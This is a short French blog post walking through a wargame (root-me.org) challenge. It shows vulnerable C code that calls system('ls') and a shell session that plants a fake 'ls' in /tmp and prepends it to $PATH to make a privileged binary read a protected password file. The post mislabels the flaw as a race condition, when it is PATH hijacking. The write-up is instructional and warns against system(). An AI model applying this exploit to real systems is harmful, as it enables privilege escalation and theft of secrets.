Archives du blog

vendredi 7 janvier 2011

Race Condition Using System()

On continue sur les failles applicatives, avec cette fois-ci les race conditions
avec la fonction system() qui est : LE MAL

Si un jour vous êtes amené à développer sous Nux oubliez ce genres d'appel :

#include <stdlib.h>
#include <stdio.h>

int main(){
  system("ls /wargame/binary/binary2/.passwd");
  return 0;
}

C'est horrible. Car c'est très facile à exploiter.
Une race condition c'est par exemple accéder à un fichier sans avoir les droits nécessaires pour l'ouvrir...
Sauf si c'est un programme lancé avec les bon privilèges qui l'ouvre à notre place.
Cet exemple est tiré d'un challenge sur root-me.org . Et il faut reconnaitre que l'épreuve est présente à peu près partout en début de chall applicatif, que ce soit intruded.net, smashthestack.org, root-me.org et j'en passe.

System() ici, va se servir de $PATH pour accéder à la fonction "ls" donc logiquement /usr/local/bin...
Mais si je crée un fichier ls dans un autre répertoire et si je fait pointer $PATH vers ce répertoire ?
Ben System() va aller chercher le ls "corrompu"... Et ouai. System poutre le système si je puis dire.

Exemple :

binary1@wargame:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games                             //$PATH pointe actuellement sur /usr/bin
binary1@wargame:~$ cd /tmp           
binary1@wargame:/tmp$ cat > ls                                 //On change le ls en cat par exemple
cat /wargame/binary/binary2/.passwd
binary1@wargame:/tmp$ chmod 777 ./ls
binary1@wargame:/tmp$ cd
binary1@wargame:~$ export PATH="/tmp:$PATH"  //On fait pointer $PATH vers /tmp
binary1@wargame:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games                     //Le changement est à présent effectué
binary1@wargame:~$ ./level1
!oPe96a/.s8d5                                                            //aille

Bon vous pouvez aussi constater aussi qu'il n'y a rien de neuf sous le soleil.
C'est une faille extrêmement connue mais un rappel ne fait jamais de mal.

Aucun commentaire:

Enregistrer un commentaire